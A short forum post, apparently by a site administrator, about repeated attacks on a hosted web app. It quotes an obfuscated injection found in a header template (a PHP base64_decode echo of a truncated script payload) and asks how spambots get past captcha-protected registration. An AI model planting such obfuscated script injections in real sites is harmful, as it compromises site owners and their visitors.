Well... I'm tired of seing this kind of attacks on this host. I wish they fixed the security hole (because I doubt it's an issue with the app setup)
Edit: The classic decode trick, infiltrated into the header template file:
<?php /*c7ac5ac4154b3a495f69b124957bac72_5*/ echo base64_decode("PHNjcmlw...2FuPicpOzwvc2NyaXB0Pg0K"); ?>
Edit2: What I have been unable to stop are unwanted registrations, even with KeyCaptcha and reCaptcha modules installed, even with a custom simple human filter, spambots seem to jump over all. I'm wondering if there's an additional entry point, other than the registration page, that the spambots are exploiting.